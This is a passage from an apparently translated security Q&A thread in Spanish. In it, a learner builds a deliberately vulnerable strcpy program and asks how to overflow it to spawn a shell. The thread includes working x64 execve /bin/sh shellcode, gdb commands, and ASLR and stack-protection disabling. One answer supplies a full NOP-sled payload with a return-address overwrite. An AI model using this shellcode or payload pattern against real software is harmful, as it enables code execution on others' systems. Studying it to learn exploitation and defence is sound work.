Desbordamiento de búfer básico

1

Actualmente estoy trabajando en un desbordamiento de búfer usando mi propio programa para aprender los conceptos básicos. Ya he ejecutado con éxito funciones ya presentes en el código al sobrescribir RIP / EIP, pero en este momento, el objetivo en este momento es obtener un shell.

Para hacerlo, hice esta pequeña pieza de código explotable:

#include <stdio.h>  /* printf */
#include <stdlib.h> /* EXIT_SUCCESS, EXIT_FAILURE */
#include <string.h> /* strcpy */

int main(int argc, char **argv)
{
  char  buffer[300];

  if (argc < 2)
    return EXIT_FAILURE;
  strcpy(&buffer[0], argv[1]);
  printf("Input: '%s'\n", &buffer[0]);
  return EXIT_SUCCESS;
}

La compilación se realiza con la siguiente línea: gcc bof.c -o bof -fno-stack-protector

El programa sale normalmente hasta que se envían 312 bytes.

  1. ¿Por qué comienza a fallar a 312 bytes y no a 301 bytes?
  2. ¿Son los 12 bytes el tamaño de la pila?
  3. ¿Este número realmente importa en caso de un ataque?

Luego he estado intentando algunas cosas, como usar un código de shell, pero sin éxito.

gdb-peda$ r $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Starting program: /tmp/bof $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Input: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[Inferior 1 (process 11295) exited normally]
Warning: not running or target is remote

A tener en cuenta: el código de shell es en realidad un execve bin / sh x64.

He estado atrapado en este por días ahora y no sé cómo resolverlo, estaría agradecido si alguien pudiera ayudarme en este asunto.

Editar :

Ahora lo entendí un poco mejor gracias a @DKNUCKLES & @Miles Budnek, he podido realizar más pruebas y he hecho algunos avances. Sin embargo, después de sobrescribir con éxito el EIP con la dirección del búfer, el bloqueo parecía estar dentro del propio código de shell.

El binario de prueba vulnerable anterior se compiló con los siguientes indicadores: gcc vuln.c -o vuln -fno-stack-protector -zexecstack -m32 . Para eso, me aseguré de deshabilitar ASLR con el siguiente comando: echo "0" > /proc/sys/kernel/randomize_va_space .

  1. Aquí, se desliza correctamente a través de las instrucciones NOP hasta que el código de shell, y unos pocos bytes después del comienzo del código de shell, se bloquea: enlace
  2. Aquí, por algún motivo, tuve la idea de mover NOP bytes desde antes del código de shell hasta el final y funcionó correctamente: enlace
  3. Aquí, igual que arriba, pero sin GDB, no abre una shell: %código%

(También intenté agregar un gato | antes de la llamada al programa vulnerable, pero sin éxito).

    
pregunta Ra'Jiska 06.05.2017 - 20:55
fuente

2 respuestas

3
La respuesta de

DKNUCKLES cubre la razón por la que su inyección no funciona, por lo que esta respuesta es más acerca de cómo se distribuye la pila del programa y por qué necesita ingresar 312 bytes antes de ver un fallo.

Si observa el ensamblado generado desde su programa, puede descubrir que la pila se ve así en el punto strcpy se llama:

               +--------------+
      rbp + 15 |return address| 8B
       rbp + 8 |              |
               +--------------+
       rbp + 7 |    old rbp   | 8B
           rbp |              |
               +--------------+
       rbp - 1 |  alignment   | 3B
       rbp - 3 |  padding     |
               +--------------+
       rbp - 4 |              |
               |              |
               |    buffer    | 300B
               |              |
               |              |
               +-- -- -- -- --+
     rbp - 304 |  buffer[0]   |
               +--------------+
     rbp - 305 |   argc       | 4B
     rbp - 308 |              |
               +--------------+
     rbp - 309 |  alignment   | 4B
     rbp - 312 |  padding     |
               +--------------+
     rbp - 313 |   argv       | 8B
rsp, rbp - 320 |              |
               +--------------+

A partir de eso, puede ver que hay 11 bytes entre el final de buffer y la dirección de retorno: algo de relleno y el antiguo puntero de la base de pila. Eso explica por qué no pasa nada hasta que su entrada alcanza 312 bytes. El relleno nunca se lee, y nada por encima de main usa la pila, así que no importa que lo hayas corrompido. Sin embargo, si escribes 312 bytes, terminas corrompiendo la dirección de retorno, y el programa se bloquea.

Tampoco estás inyectando tu código exec; solo lo estás pasando y un carácter literal '+' como argumentos separados. Eso explica por qué necesita ingresar 312 o más 'A' para causar un error.

    
respondido por el Miles Budnek 07.05.2017 - 03:50
fuente
2

A mi me parece que falta tu dirección de retorno y que tu código de shell se extiende más allá de tu búfer.

Espero que su código se vea algo como esto:

r $(python -c 'print "\x90"*230 + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" + "\x41\x41\x41\x41"*10')

Algunas notas sobre arriba

  • El uso de un trineo nop (\ x90 en lugar de \ x41) le proporciona un poco de flexibilidad en cuanto a dónde reside su código de shell en el búfer. Los NOP esencialmente significan "pasar al siguiente byte", por lo que seguirá avanzando hasta que se active el código de shell.
  • No tiene una dirección de retorno (he simulado esto con los 4 \ x41 al final del código). Por lo general, repetiré mi "dirección de retorno" 10 veces para garantizar que se lea la dirección
  • Su código requiere 312 bytes para alcanzar el desbordamiento, y los siguientes 4 bytes sobrescribirán su registro EIP. Puede confirmar que su registro de EIP se está sobrescribiendo cuando se produce el error de segmentación utilizando el comando i r o info registers después de que llegue a su error.
  • Suponiendo que está trabajando en un cuadro de Intel, asegúrese de que su dirección de retorno esté escrita en formato de Little Endian
respondido por el DKNUCKLES 07.05.2017 - 02:07
fuente

Lea otras preguntas en las etiquetas